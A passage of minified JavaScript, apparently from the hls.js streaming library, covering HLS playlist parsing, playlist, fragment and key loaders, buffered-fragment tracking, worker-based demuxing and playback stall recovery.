T(A).decimalFloatingPoint("TIME-OFFSET");Object(o.isFiniteNumber)(k)&&(c.startTimeOffset=k);break;case"MAP":var N=new T(A);p.relurl=N.URI,N.BYTERANGE&&p.setByteRange(N.BYTERANGE),p.baseurl=t,p.level=r,p.type=i,p.sn="initSegment",c.initSegment=p,(p=new _).rawProgramDateTime=c.initSegment.rawProgramDateTime;break;default:h.logger.warn("line parsed but not handled: "+s)}}}return(p=g)&&!p.relurl&&(c.fragments.pop(),u-=p.duration),c.totalduration=u,c.averagetargetduration=u/c.fragments.length,c.endSN=d-1,c.startCC=c.fragments[0]?c.fragments[0].cc:0,c.endCC=f,!c.initSegment&&c.fragments.length&&c.fragments.every((function(e){return D.test(e.relurl)}))&&(h.logger.warn("MP4 fragments found but no init segment (probably no MAP, incomplete M3U8), trying to fetch SIDX"),(p=new _).relurl=c.fragments[0].relurl,p.baseurl=t,p.level=r,p.type=i,p.sn="initSegment",c.initSegment=p,c.needSidxRanges=!0),v&&function(e,t){for(var r=e[t],i=t-1;i>=0;i--){var n=e[i];n.programDateTime=r.programDateTime-1e3*n.duration,r=n}}(c.fragments,v),c},e}();function x(e,t){e.rawProgramDateTime?e.programDateTime=Date.parse(e.rawProgramDateTime):(null==t?void 0:t.programDateTime)&&(e.programDateTime=t.endProgramDateTime),Object(o.isFiniteNumber)(e.programDateTime)||(e.programDateTime=null,e.rawProgramDateTime=null)}var O=window.performance,M=function(e){var t,r;function s(t){var r;return(r=e.call(this,t,l.default.MANIFEST_LOADING,l.default.LEVEL_LOADING,l.default.AUDIO_TRACK_LOADING,l.default.SUBTITLE_TRACK_LOADING)||this).loaders={},r}r=e,(t=s).prototype=Object.create(r.prototype),t.prototype.constructor=t,t.__proto__=r,s.canHaveQualityLevels=function(e){return e!==i.AUDIO_TRACK&&e!==i.SUBTITLE_TRACK},s.mapContextToLevelType=function(e){switch(e.type){case i.AUDIO_TRACK:return n.AUDIO;case i.SUBTITLE_TRACK:return n.SUBTITLE;default:return n.MAIN}},s.getResponseUrl=function(e,t){var r=e.url;return void 0!==r&&0!==r.indexOf("data:")||(r=t.url),r};var d=s.prototype;return d.createInternalLoader=function(e){var t=this.hls.config,r=t.pLoader,i=t.loader,n=new(r||i)(t);return e.loader=n,this.loaders[e.type]=n,n},d.getInternalLoader=function(e){return this.loaders[e.type]},d.resetInternalLoader=function(e){this.loaders[e]&&delete this.loaders[e]},d.destroyInternalLoaders=function(){for(var e in this.loaders){var t=this.loaders[e];t&&t.destroy(),this.resetInternalLoader(e)}},d.destroy=function(){this.destroyInternalLoaders(),e.prototype.destroy.call(this)},d.onManifestLoading=function(e){this.load({url:e.url,type:i.MANIFEST,level:0,id:null,responseType:"text"})},d.onLevelLoading=function(e){this.load({url:e.url,type:i.LEVEL,level:e.level,id:e.id,responseType:"text"})},d.onAudioTrackLoading=function(e){this.load({url:e.url,type:i.AUDIO_TRACK,level:null,id:e.id,responseType:"text"})},d.onSubtitleTrackLoading=function(e){this.load({url:e.url,type:i.SUBTITLE_TRACK,level:null,id:e.id,responseType:"text"})},d.load=function(e){var t=this.hls.config;h.logger.debug("Loading playlist of type "+e.type+", level: "+e.level+", id: "+e.id);var r,n,s,a,o=this.getInternalLoader(e);if(o){var l=o.context;if(l&&l.url===e.url)return h.logger.trace("playlist request ongoing"),!1;h.logger.warn("aborting previous loader for type: "+e.type),o.abort()}switch(e.type){case i.MANIFEST:r=t.manifestLoadingMaxRetry,n=t.manifestLoadingTimeOut,s=t.manifestLoadingRetryDelay,a=t.manifestLoadingMaxRetryTimeout;break;case i.LEVEL:r=0,a=0,s=0,n=t.levelLoadingTimeOut;break;default:r=t.levelLoadingMaxRetry,n=t.levelLoadingTimeOut,s=t.levelLoadingRetryDelay,a=t.levelLoadingMaxRetryTimeout}o=this.createInternalLoader(e);var d={timeout:n,maxRetry:r,retryDelay:s,maxRetryDelay:a},u={onSuccess:this.loadsuccess.bind(this),onError:this.loaderror.bind(this),onTimeout:this.loadtimeout.bind(this)};return h.logger.debug("Calling internal loader delegate for URL: "+e.url),o.load(e,d,u),!0},d.loadsuccess=function(e,t,r,i){if(void 0===i&&(i=null),r.isSidxRequest)return this._handleSidxRequest(e,r),void this._handlePlaylistLoaded(e,t,r,i);if(this.resetInternalLoader(r.type),"string"!=typeof e.data)throw new Error('expected responseType of "text" for PlaylistLoader');var n=e.data;t.tload=O.now(),0===n.indexOf("#EXTM3U")?n.indexOf("#EXTINF:")>0||n.indexOf("#EXT-X-TARGETDURATION:")>0?this._handleTrackOrLevelPlaylist(e,t,r,i):this._handleMasterPlaylist(e,t,r,i):this._handleManifestParsingError(e,r,"no EXTM3U delimiter",i)},d.loaderror=function(e,t,r){void 0===r&&(r=null),this._handleNetworkError(t,r,!1,e)},d.loadtimeout=function(e,t,r){void 0===r&&(r=null),this._handleNetworkError(t,r,!0)},d._handleMasterPlaylist=function(e,t,r,i){var n=this.hls,a=e.data,o=s.getResponseUrl(e,r),d=C.parseMasterPlaylist(a,o),u=d.levels,c=d.sessionData;if(u.length){var f=u.map((function(e){return{id:e.attrs.AUDIO,codec:e.audioCodec}})),g=C.parseMasterPlaylistMedia(a,o,"AUDIO",f),p=C.parseMasterPlaylistMedia(a,o,"SUBTITLES"),m=C.parseMasterPlaylistMedia(a,o,"CLOSED-CAPTIONS");if(g.length){var v=!1;g.forEach((function(e){e.url||(v=!0)})),!1===v&&u[0].audioCodec&&!u[0].attrs.AUDIO&&(h.logger.log("audio codec signaled in quality level, but no embedded audio track signaled, create one"),g.unshift({type:"main",name:"main",default:!1,autoselect:!1,forced:!1,id:-1,attrs:{},url:""}))}n.trigger(l.default.MANIFEST_LOADED,{levels:u,audioTracks:g,subtitles:p,captions:m,url:o,stats:t,networkDetails:i,sessionData:c})}else this._handleManifestParsingError(e,r,"no level found in manifest",i)},d._handleTrackOrLevelPlaylist=function(e,t,r,n){var h=this.hls,d=r.id,u=r.level,c=r.type,f=s.getResponseUrl(e,r),g=Object(o.isFiniteNumber)(d)?d:0,p=Object(o.isFiniteNumber)(u)?u:g,m=s.mapContextToLevelType(r),v=C.parseLevelPlaylist(e.data,f,p,m,g);if(v.tload=t.tload,v.fragments.length){if(c===i.MANIFEST){var _={url:f,details:v};h.trigger(l.default.MANIFEST_LOADED,{levels:[_],audioTracks:[],url:f,stats:t,networkDetails:n,sessionData:null})}if(t.tparsed=O.now(),v.needSidxRanges){var y=v.initSegment.url;this.load({url:y,isSidxRequest:!0,type:c,level:u,levelDetails:v,id:d,rangeStart:0,rangeEnd:2048,responseType:"arraybuffer"})}else r.levelDetails=v,this._handlePlaylistLoaded(e,t,r,n)}else h.trigger(l.default.ERROR,{type:a.ErrorTypes.NETWORK_ERROR,details:a.ErrorDetails.LEVEL_EMPTY_ERROR,fatal:!1,url:f,reason:"no fragments found in level",level:"number"==typeof r.level?r.level:void 0})},d._handleSidxRequest=function(e,t){if("string"==typeof e.data)throw new Error("sidx request must be made with responseType of array buffer");var r=f.default.parseSegmentIndex(new Uint8Array(e.data));if(r){var i=r.references,n=t.levelDetails;i.forEach((function(e,t){var r=e.info;if(n){var i=n.fragments[t];0===i.byteRange.length&&i.setByteRange(String(1+r.end-r.start)+"@"+String(r.start))}})),n&&n.initSegment.setByteRange(String(r.moovEndOffset)+"@0")}},d._handleManifestParsingError=function(e,t,r,i){this.hls.trigger(l.default.ERROR,{type:a.ErrorTypes.NETWORK_ERROR,details:a.ErrorDetails.MANIFEST_PARSING_ERROR,fatal:!0,url:e.url,reason:r,networkDetails:i})},d._handleNetworkError=function(e,t,r,n){var s,o;void 0===r&&(r=!1),void 0===n&&(n=null),h.logger.info("A network error occured while loading a "+e.type+"-type playlist");var d=this.getInternalLoader(e);switch(e.type){case i.MANIFEST:s=r?a.ErrorDetails.MANIFEST_LOAD_TIMEOUT:a.ErrorDetails.MANIFEST_LOAD_ERROR,o=!0;break;case i.LEVEL:s=r?a.ErrorDetails.LEVEL_LOAD_TIMEOUT:a.ErrorDetails.LEVEL_LOAD_ERROR,o=!1;break;case i.AUDIO_TRACK:s=r?a.ErrorDetails.AUDIO_TRACK_LOAD_TIMEOUT:a.ErrorDetails.AUDIO_TRACK_LOAD_ERROR,o=!1;break;default:o=!1}d&&(d.abort(),this.resetInternalLoader(e.type));var u={type:a.ErrorTypes.NETWORK_ERROR,details:s,fatal:o,url:e.url,loader:d,context:e,networkDetails:t};n&&(u.response=n),this.hls.trigger(l.default.ERROR,u)},d._handlePlaylistLoaded=function(e,t,r,n){var a=r.type,o=r.level,h=r.id,d=r.levelDetails;if(d&&d.targetduration)if(s.canHaveQualityLevels(r.type))this.hls.trigger(l.default.LEVEL_LOADED,{details:d,level:o||0,id:h||0,stats:t,networkDetails:n});else switch(a){case i.AUDIO_TRACK:this.hls.trigger(l.default.AUDIO_TRACK_LOADED,{details:d,id:h,stats:t,networkDetails:n});break;case i.SUBTITLE_TRACK:this.hls.trigger(l.default.SUBTITLE_TRACK_LOADED,{details:d,id:h,stats:t,networkDetails:n})}else this._handleManifestParsingError(e,r,"invalid target duration",n)},s}(c),k=function(e){var t,r;function i(t){var r;return(r=e.call(this,t,l.default.FRAG_LOADING)||this).loaders={},r}r=e,(t=i).prototype=Object.create(r.prototype),t.prototype.constructor=t,t.__proto__=r;var n=i.prototype;return n.destroy=function(){var t=this.loaders;for(var r in t){var i=t[r];i&&i.destroy()}this.loaders={},e.prototype.destroy.call(this)},n.onFragLoading=function(e){var t=e.frag,r=t.type,i=this.loaders,n=this.hls.config,s=n.fLoader,a=n.loader;t.loaded=0;var l,d,u,c=i[r];c&&(h.logger.warn("abort previous fragment loader for type: "+r),c.abort()),c=i[r]=t.loader=n.fLoader?new s(n):new a(n),l={url:t.url,frag:t,responseType:"arraybuffer",progressData:!1};var f=t.byteRangeStartOffset,g=t.byteRangeEndOffset;Object(o.isFiniteNumber)(f)&&Object(o.isFiniteNumber)(g)&&(l.rangeStart=f,l.rangeEnd=g),d={timeout:n.fragLoadingTimeOut,maxRetry:0,retryDelay:0,maxRetryDelay:n.fragLoadingMaxRetryTimeout},u={onSuccess:this.loadsuccess.bind(this),onError:this.loaderror.bind(this),onTimeout:this.loadtimeout.bind(this),onProgress:this.loadprogress.bind(this)},c.load(l,d,u)},n.loadsuccess=function(e,t,r,i){void 0===i&&(i=null);var n=e.data,s=r.frag;s.loader=void 0,this.loaders[s.type]=void 0,this.hls.trigger(l.default.FRAG_LOADED,{payload:n,frag:s,stats:t,networkDetails:i})},n.loaderror=function(e,t,r){void 0===r&&(r=null);var i=t.frag,n=i.loader;n&&n.abort(),this.loaders[i.type]=void 0,this.hls.trigger(l.default.ERROR,{type:a.ErrorTypes.NETWORK_ERROR,details:a.ErrorDetails.FRAG_LOAD_ERROR,fatal:!1,frag:t.frag,response:e,networkDetails:r})},n.loadtimeout=function(e,t,r){void 0===r&&(r=null);var i=t.frag,n=i.loader;n&&n.abort(),this.loaders[i.type]=void 0,this.hls.trigger(l.default.ERROR,{type:a.ErrorTypes.NETWORK_ERROR,details:a.ErrorDetails.FRAG_LOAD_TIMEOUT,fatal:!1,frag:t.frag,networkDetails:r})},n.loadprogress=function(e,t,r,i){void 0===i&&(i=null);var n=t.frag;n.loaded=e.loaded,this.hls.trigger(l.default.FRAG_LOAD_PROGRESS,{frag:n,stats:e,networkDetails:i})},i}(c),N=function(e){var t,r;function i(t){var r;return(r=e.call(this,t,l.default.KEY_LOADING)||this).loaders={},r.decryptkey=null,r.decrypturl=null,r}r=e,(t=i).prototype=Object.create(r.prototype),t.prototype.constructor=t,t.__proto__=r;var n=i.prototype;return n.destroy=function(){for(var t in this.loaders){var r=this.loaders[t];r&&r.destroy()}this.loaders={},e.prototype.destroy.call(this)},n.onKeyLoading=function(e){var t=e.frag,r=t.type,i=this.loaders[r];if(t.decryptdata){var n=t.decryptdata.uri;if(n!==this.decrypturl||null===this.decryptkey){var s=this.hls.config;if(i&&(h.logger.warn("abort previous key loader for type:"+r),i.abort()),!n)return void h.logger.warn("key uri is falsy");t.loader=this.loaders[r]=new s.loader(s),this.decrypturl=n,this.decryptkey=null;var a={url:n,frag:t,responseType:"arraybuffer"},o={timeout:s.fragLoadingTimeOut,maxRetry:0,retryDelay:s.fragLoadingRetryDelay,maxRetryDelay:s.fragLoadingMaxRetryTimeout},d={onSuccess:this.loadsuccess.bind(this),onError:this.loaderror.bind(this),onTimeout:this.loadtimeout.bind(this)};t.loader.load(a,o,d)}else this.decryptkey&&(t.decryptdata.key=this.decryptkey,this.hls.trigger(l.default.KEY_LOADED,{frag:t}))}else h.logger.warn("Missing decryption data on fragment in onKeyLoading")},n.loadsuccess=function(e,t,r){var i=r.frag;i.decryptdata?(this.decryptkey=i.decryptdata.key=new Uint8Array(e.data),i.loader=void 0,delete this.loaders[i.type],this.hls.trigger(l.default.KEY_LOADED,{frag:i})):h.logger.error("after key load, decryptdata unset")},n.loaderror=function(e,t){var r=t.frag,i=r.loader;i&&i.abort(),delete this.loaders[r.type],this.hls.trigger(l.default.ERROR,{type:a.ErrorTypes.NETWORK_ERROR,details:a.ErrorDetails.KEY_LOAD_ERROR,fatal:!1,frag:r,response:e})},n.loadtimeout=function(e,t){var r=t.frag,i=r.loader;i&&i.abort(),delete this.loaders[r.type],this.hls.trigger(l.default.ERROR,{type:a.ErrorTypes.NETWORK_ERROR,details:a.ErrorDetails.KEY_LOAD_TIMEOUT,fatal:!1,frag:r})},i}(c),F="NOT_LOADED",B="APPENDING",U="PARTIAL",G="OK",j=function(e){var t,r;function i(t){var r;return(r=e.call(this,t,l.default.BUFFER_APPENDED,l.default.FRAG_BUFFERED,l.default.FRAG_LOADED)||this).bufferPadding=.2,r.fragments=Object.create(null),r.timeRanges=Object.create(null),r.config=t.config,r}r=e,(t=i).prototype=Object.create(r.prototype),t.prototype.constructor=t,t.__proto__=r;var n=i.prototype;return n.destroy=function(){this.fragments=Object.create(null),this.timeRanges=Object.create(null),this.config=null,c.prototype.destroy.call(this),e.prototype.destroy.call(this)},n.getBufferedFrag=function(e,t){var r=this.fragments,i=Object.keys(r).filter((function(i){var n=r[i];if(n.body.type!==t)return!1;if(!n.buffered)return!1;var s=n.body;return s.startPTS<=e&&e<=s.endPTS}));if(0===i.length)return null;var n=i.pop();return r[n].body},n.detectEvictedFragments=function(e,t){var r=this;Object.keys(this.fragments).forEach((function(i){var n=r.fragments[i];if(n&&n.buffered){var s=n.range[e];if(s)for(var a=s.time,o=0;o<a.length;o++){var l=a[o];if(!r.isTimeBuffered(l.startPTS,l.endPTS,t)){r.removeFragment(n.body);break}}}}))},n.detectPartialFragments=function(e){var t=this,r=this.getFragmentKey(e),i=this.fragments[r];i&&(i.buffered=!0,Object.keys(this.timeRanges).forEach((function(r){if(e.hasElementaryStream(r)){var n=t.timeRanges[r];i.range[r]=t.getBufferedTimes(e.startPTS,e.endPTS,n)}})))},n.getBufferedTimes=function(e,t,r){for(var i,n,s=[],a=!1,o=0;o<r.length;o++){if(i=r.start(o)-this.bufferPadding,n=r.end(o)+this.bufferPadding,e>=i&&t<=n){s.push({startPTS:Math.max(e,r.start(o)),endPTS:Math.min(t,r.end(o))});break}if(e<n&&t>i)s.push({startPTS:Math.max(e,r.start(o)),endPTS:Math.min(t,r.end(o))}),a=!0;else if(t<=i)break}return{time:s,partial:a}},n.getFragmentKey=function(e){return e.type+"_"+e.level+"_"+e.urlId+"_"+e.sn},n.getPartialFragment=function(e){var t,r,i,n=this,s=null,a=0;return Object.keys(this.fragments).forEach((function(o){var l=n.fragments[o];n.isPartial(l)&&(r=l.body.startPTS-n.bufferPadding,i=l.body.endPTS+n.bufferPadding,e>=r&&e<=i&&(t=Math.min(e-r,i-e),a<=t&&(s=l.body,a=t)))})),s},n.getState=function(e){var t=this.getFragmentKey(e),r=this.fragments[t],i=F;return void 0!==r&&(i=r.buffered?!0===this.isPartial(r)?U:G:B),i},n.isPartial=function(e){return!0===e.buffered&&(void 0!==e.range.video&&!0===e.range.video.partial||void 0!==e.range.audio&&!0===e.range.audio.partial)},n.isTimeBuffered=function(e,t,r){for(var i,n,s=0;s<r.length;s++){if(i=r.start(s)-this.bufferPadding,n=r.end(s)+this.bufferPadding,e>=i&&t<=n)return!0;if(t<=i)return!1}return!1},n.onFragLoaded=function(e){var t=e.frag;Object(o.isFiniteNumber)(t.sn)&&!t.bitrateTest&&(this.fragments[this.getFragmentKey(t)]={body:t,range:Object.create(null),buffered:!1})},n.onBufferAppended=function(e){var t=this;this.timeRanges=e.timeRanges,Object.keys(this.timeRanges).forEach((function(e){var r=t.timeRanges[e];t.detectEvictedFragments(e,r)}))},n.onFragBuffered=function(e){this.detectPartialFragments(e.frag)},n.hasFragment=function(e){var t=this.getFragmentKey(e);return void 0!==this.fragments[t]},n.removeFragment=function(e){var t=this.getFragmentKey(e);delete this.fragments[t]},n.removeAllFragments=function(){this.fragments=Object.create(null)},i}(c),$={search:function(e,t){for(var r=0,i=e.length-1,n=null,s=null;r<=i;){var a=t(s=e[n=(r+i)/2|0]);if(a>0)r=n+1;else{if(!(a<0))return s;i=n-1}}return null}},H=function(){function e(){}return e.isBuffered=function(e,t){try{if(e)for(var r=e.buffered,i=0;i<r.length;i++)if(t>=r.start(i)&&t<=r.end(i))return!0}catch(e){}return!1},e.bufferInfo=function(e,t,r){try{if(e){var i,n=e.buffered,s=[];for(i=0;i<n.length;i++)s.push({start:n.start(i),end:n.end(i)});return this.bufferedInfo(s,t,r)}}catch(e){}return{len:0,start:t,end:t,nextStart:void 0}},e.bufferedInfo=function(e,t,r){e.sort((function(e,t){var r=e.start-t.start;return r||t.end-e.end}));var i=[];if(r)for(var n=0;n<e.length;n++){var s=i.length;if(s){var a=i[s-1].end;e[n].start-a<r?e[n].end>a&&(i[s-1].end=e[n].end):i.push(e[n])}else i.push(e[n])}else i=e;for(var o,l=0,h=t,d=t,u=0;u<i.length;u++){var c=i[u].start,f=i[u].end;if(t+r>=c&&t<f)h=c,l=(d=f)-t;else if(t+r<c){o=c;break}}return{len:l,start:h,end:d,nextStart:o}},e}(),q=r("./node_modules/eventemitter3/index.js"),W=r("./node_modules/webworkify-webpack/index.js"),V=r("./src/demux/demuxer-inline.js");function z(){return window.MediaSource||window.WebKitMediaSource}var K=r("./src/utils/get-self-scope.js"),X=function(e){var t,r;function i(){return e.apply(this,arguments)||this}return r=e,(t=i).prototype=Object.create(r.prototype),t.prototype.constructor=t,t.__proto__=r,i.prototype.trigger=function(e){for(var t=arguments.length,r=new Array(t>1?t-1:0),i=1;i<t;i++)r[i-1]=arguments[i];this.emit.apply(this,[e,e].concat(r))},i}(q.EventEmitter),Y=Object(K.getSelfScope)(),J=z()||{isTypeSupported:function(){return!1}},Q=function(){function e(e,t){var r=this;this.hls=e,this.id=t;var i=this.observer=new X,n=e.config,s=function(t,i){(i=i||{}).frag=r.frag,i.id=r.id,e.trigger(t,i)};i.on(l.default.FRAG_DECRYPTED,s),i.on(l.default.FRAG_PARSING_INIT_SEGMENT,s),i.on(l.default.FRAG_PARSING_DATA,s),i.on(l.default.FRAG_PARSED,s),i.on(l.default.ERROR,s),i.on(l.default.FRAG_PARSING_METADATA,s),i.on(l.default.FRAG_PARSING_USERDATA,s),i.on(l.default.INIT_PTS_FOUND,s);var o={mp4:J.isTypeSupported("video/mp4"),mpeg:J.isTypeSupported("audio/mpeg"),mp3:J.isTypeSupported('audio/mp4; codecs="mp3"')},d=navigator.vendor;if(n.enableWorker&&"undefined"!=typeof Worker){var u;h.logger.log("demuxing in webworker");try{u=this.w=W("./src/demux/demuxer-worker.js"),this.onwmsg=this.onWorkerMessage.bind(this),u.addEventListener("message",this.onwmsg),u.onerror=function(t){e.trigger(l.default.ERROR,{type:a.ErrorTypes.OTHER_ERROR,details:a.ErrorDetails.INTERNAL_EXCEPTION,fatal:!0,event:"demuxerWorker",err:{message:t.message+" ("+t.filename+":"+t.lineno+")"}})},u.postMessage({cmd:"init",typeSupported:o,vendor:d,id:t,config:JSON.stringify(n)})}catch(e){h.logger.warn("Error in worker:",e),h.logger.error("Error while initializing DemuxerWorker, fallback on DemuxerInline"),u&&Y.URL.revokeObjectURL(u.objectURL),this.demuxer=new V.default(i,o,n,d),this.w=void 0}}else this.demuxer=new V.default(i,o,n,d)}var t=e.prototype;return t.destroy=function(){var e=this.w;if(e)e.removeEventListener("message",this.onwmsg),e.terminate(),this.w=null;else{var t=this.demuxer;t&&(t.destroy(),this.demuxer=null)}var r=this.observer;r&&(r.removeAllListeners(),this.observer=null)},t.push=function(e,t,r,i,n,s,a,l){var d=this.w,u=Object(o.isFiniteNumber)(n.startPTS)?n.startPTS:n.start,c=n.decryptdata,f=this.frag,g=!(f&&n.cc===f.cc),p=!(f&&n.level===f.level),m=f&&n.sn===f.sn+1,v=!p&&m;if(g&&h.logger.log(this.id+":discontinuity detected"),p&&h.logger.log(this.id+":switch detected"),this.frag=n,d)d.postMessage({cmd:"demux",data:e,decryptdata:c,initSegment:t,audioCodec:r,videoCodec:i,timeOffset:u,discontinuity:g,trackSwitch:p,contiguous:v,duration:s,accurateTimeOffset:a,defaultInitPTS:l},e instanceof ArrayBuffer?[e]:[]);else{var _=this.demuxer;_&&_.push(e,c,t,r,i,u,g,p,v,s,a,l)}},t.onWorkerMessage=function(e){var t=e.data,r=this.hls;switch(t.event){case"init":Y.URL.revokeObjectURL(this.w.objectURL);break;case l.default.FRAG_PARSING_DATA:t.data.data1=new Uint8Array(t.data1),t.data2&&(t.data.data2=new Uint8Array(t.data2));default:t.data=t.data||{},t.data.frag=this.frag,t.data.id=this.id,r.trigger(t.event,t.data)}},e}();function Z(e,t,r){switch(t){case"audio":e.audioGroupIds||(e.audioGroupIds=[]),e.audioGroupIds.push(r);break;case"text":e.textGroupIds||(e.textGroupIds=[]),e.textGroupIds.push(r)}}function ee(e,t,r){var i=e[t],n=e[r],s=n.startPTS;if(Object(o.isFiniteNumber)(s))r>t?(i.duration=s-i.start,i.duration<0&&h.logger.warn("negative duration computed for frag "+i.sn+",level "+i.level+", there should be some duration drift between playlist and fragment!")):(n.duration=i.start-s,n.duration<0&&h.logger.warn("negative duration computed for frag "+n.sn+",level "+n.level+", there should be some duration drift between playlist and fragment!"));else if(r>t){var a=i.cc===n.cc;n.start=i.start+(a&&i.minEndPTS?i.minEndPTS-i.start:i.duration)}else n.start=Math.max(i.start-n.duration,0)}function te(e,t,r,i,n,s){var a=r,l=i;if(Object(o.isFiniteNumber)(t.startPTS)){var h=Math.abs(t.startPTS-r);Object(o.isFiniteNumber)(t.deltaPTS)?t.deltaPTS=Math.max(h,t.deltaPTS):t.deltaPTS=h,a=Math.max(r,t.startPTS),r=Math.min(r,t.startPTS),l=Math.min(i,t.endPTS),i=Math.max(i,t.endPTS),n=Math.min(n,t.startDTS),s=Math.max(s,t.endDTS)}var d=r-t.start;t.start=t.startPTS=r,t.maxStartPTS=a,t.endPTS=i,t.minEndPTS=l,t.startDTS=n,t.endDTS=s,t.duration=i-r;var u,c,f,g=t.sn;if(!e||g<e.startSN||g>e.endSN)return 0;for(u=g-e.startSN,(c=e.fragments)[u]=t,f=u;f>0;f--)ee(c,f,f-1);for(f=u;f<c.length-1;f++)ee(c,f,f+1);return e.PTSKnown=!0,d}function re(e,t,r){if(e&&t)for(var i=Math.max(e.startSN,t.startSN)-t.startSN,n=Math.min(e.endSN,t.endSN)-t.startSN,s=t.startSN-e.startSN,a=i;a<=n;a++){var o=e.fragments[s+a],l=t.fragments[a];if(!o||!l)break;r(o,l,a)}}var ie={toString:function(e){for(var t="",r=e.length,i=0;i<r;i++)t+="["+e.start(i).toFixed(3)+","+e.end(i).toFixed(3)+"]";return t}};function ne(e,t){t.fragments.forEach((function(t){if(t){var r=t.start+e;t.start=t.startPTS=r,t.endPTS=r+t.duration}})),t.PTSKnown=!0}function se(e,t,r){!function(e,t,r){if(function(e,t,r){var i=!1;return t&&t.details&&r&&(r.endCC>r.startCC||e&&e.cc<r.startCC)&&(i=!0),i}(e,r,t)){var i=function(e,t){var r=e.fragments,i=t.fragments;if(i.length&&r.length){var n=function(e,t){for(var r=null,i=0;i<e.length;i+=1){var n=e[i];if(n&&n.cc===t){r=n;break}}return r}(r,i[0].cc);if(n&&(!n||n.startPTS))return n;h.logger.log("No frag in previous level to align on")}else h.logger.log("No fragments to align")}(r.details,t);i&&(h.logger.log("Adjusting PTS using last level due to CC increase within current level"),ne(i.start,t))}}(e,r,t),!r.PTSKnown&&t&&function(e,t){if(t&&t.fragments.length){if(!e.hasProgramDateTime||!t.hasProgramDateTime)return;var r=t.fragments[0].programDateTime,i=(e.fragments[0].programDateTime-r)/1e3+t.fragments[0].start;Object(o.isFiniteNumber)(i)&&(h.logger.log("adjusting PTS using programDateTime delta, sliding:"+i.toFixed(3)),ne(i,e))}}(r,t.details)}function ae(e,t,r){void 0===e&&(e=0),void 0===t&&(t=0);var i=Math.min(t,r.duration+(r.deltaPTS?r.deltaPTS:0));return r.start+r.duration-i<=e?1:r.start-i>e&&r.start?-1:0}function oe(e,t,r){var i=1e3*Math.min(t,r.duration+(r.deltaPTS?r.deltaPTS:0));return(r.endProgramDateTime||0)-i>e}var le=function(){function e(e,t,r,i){this.config=e,this.media=t,this.fragmentTracker=r,this.hls=i,this.nudgeRetry=0,this.stallReported=!1,this.stalled=null,this.moved=!1,this.seeking=!1}var t=e.prototype;return t.poll=function(e){var t=this.config,r=this.media,i=this.stalled,n=r.currentTime,s=r.seeking,a=this.seeking&&!s,o=!this.seeking&&s;if(this.seeking=s,n===e){if((o||a)&&(this.stalled=null),!r.paused&&!r.ended&&0!==r.playbackRate&&r.buffered.length){var l=H.bufferInfo(r,n,0),d=l.len>0,u=l.nextStart||0;if(d||u){if(s){var c=l.len>2,f=!u||u-n>2&&!this.fragmentTracker.getPartialFragment(n);if(c||f)return;this.moved=!1}if(!this.moved&&this.stalled){var g=Math.max(u,l.start||0)-n;if(g>0&&g<=2)return void this._trySkipBufferHole(null)}var p=self.performance.now();if(null!==i){var m=p-i;!s&&m>=250&&this._reportStall(l.len);var v=H.bufferInfo(r,n,t.maxBufferHole);this._tryFixBufferStall(v,m)}else this.stalled=p}}}else if(this.moved=!0,null!==i){if(this.stallReported){var _=self.performance.now()-i;h.logger.warn("playback not stuck anymore @"+n+", after "+Math.round(_)+"ms"),this.stallReported=!1}this.stalled=null,this.nudgeRetry=0}},t._tryFixBufferStall=function(e,t){var r=this.config,i=this.fragmentTracker,n=this.media.currentTime,s=i.getPartialFragment(n);s&&this._trySkipBufferHole(s)||e.len>r.maxBufferHole&&t>1e3*r.highBufferWatchdogPeriod&&(h.logger.warn("Trying to nudge playhead over buffer-hole"),this.stalled=null,this._tryNudgeBuffer())},t._reportStall=function(e){var t=this.hls,r=this.media;this.stallReported||(this.stallReported=!0,h.logger.warn("Playback stalling at @"+r.currentTime+" due to low buffer (buffer="+e+")"),t.trigger(l.default.ERROR,{type:a.ErrorTypes.MEDIA_ERROR,details:a.ErrorDetails.BUFFER_STALLED_ERROR,fatal:!1,buffer:e}))},t._trySkipBufferHole=function(e){for(var t=this.config,r=this.hls,i=this.media,n=i.currentTime,s=0,o=0;o<i.buffered.length;o++){var d=i.buffered.start(o);if(n+t.maxBufferHole>=s&&n<d){var u=Math.max(d+.05,i.currentTime+.1);return h.logger.warn("skipping hole, adjusting currentTime from "+n+" to "+u),this.moved=!0,this.stalled=null,i.currentTime=u,e&&r.trigger(l.default.ERROR,{type:a.ErrorTypes.MEDIA_ERROR,details:a.ErrorDetails.BUFFER_SEEK_OVER_HOLE,fatal:!1,reason:"fragment loaded with buffer holes, seeking from "+n+" to "+u,frag:e}),u}s=i.buffered.end(o)}return 0},t._tryNudgeBuffer=function(){var e=this.config,t=this.hls,r=this.media,i=r.currentTime,n=(this.nudgeRetry||0)+1;if(this.nudgeRetry=n,n<e.nudgeMaxRetry){var s=i+n*e.nudgeOffset;h.logger.warn("Nudging 'currentTime' from "+i+" to "+s),r.currentTime=s,t.trigger(l.default.ERROR,{type:a.ErrorTypes.MEDIA_ERROR,details:a.ErrorDetails.BUFFER_NUDGE_ON_STALL,fatal:!1})}else h.logger.error("Playhead still not moving while enough data buffered @"+i+" after "+e.nudgeMaxRetry+" nudges"),t.trigger(l.default.ERROR,{type:a.ErrorTypes.MEDIA_ERROR,details:a.ErrorDetails.BUFFER_STALLED_ERROR,fatal:!0})},e}();function he(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}var de=function(e){var t,r;function i(t){for(var r,i=arguments.length,n=new Array(i>1?i-1:0),s=1;s<i;s++)n[s-1]=arguments[s];return(r=e.call.apply(e,[this,t].concat(n))||this)._boundTick=void 0,r._tickTimer=null,r._tickInterval=null,r._tickCallCount=0,r._boundTick=r.tick.bind(he(r)),r}r=e,(t=i).prototype=Object.create(r.prototype),t.prototype.constructor=t,t.__proto__=r;var n=i.prototype;return n.onHandlerDestroying=function(){this.clearNextTick(),this.clearInterval()},n.hasInterval=function(){return!!this._tickInterval},n.hasNextTick=function(){return!!this._tickTimer},n.setInterval=function(e){return!this._tickInterval&&(this._tickInterval=self.setInterval(this._boundTick,e),!0)},n.clearInterval=function(){return!!this._tickInterval&&(self.clearInterval(this._tickInterval),this._tickInterval=null,!0)},n.clearNextTick=function(){return!!this._tickTimer&&(self.clearTimeout(this._tickTimer),this._tickTimer=null,!0)},n.tick=function(){this._tickCallCount++,1===this._tickCallCount&&(this.doTick(),this._tickCallCount>1&&(this.clearNextTick(),this._tickTimer=self.setTimeout(this._boundTick,0)),this._tickCallCount=0)},n.doTick=function(){},i}(c),ue="STOPPED",ce="IDLE",fe="KEY_LOADING",ge="FRAG_LOADING",pe="FRAG_LOADING_WAITING_RETRY",me="PAR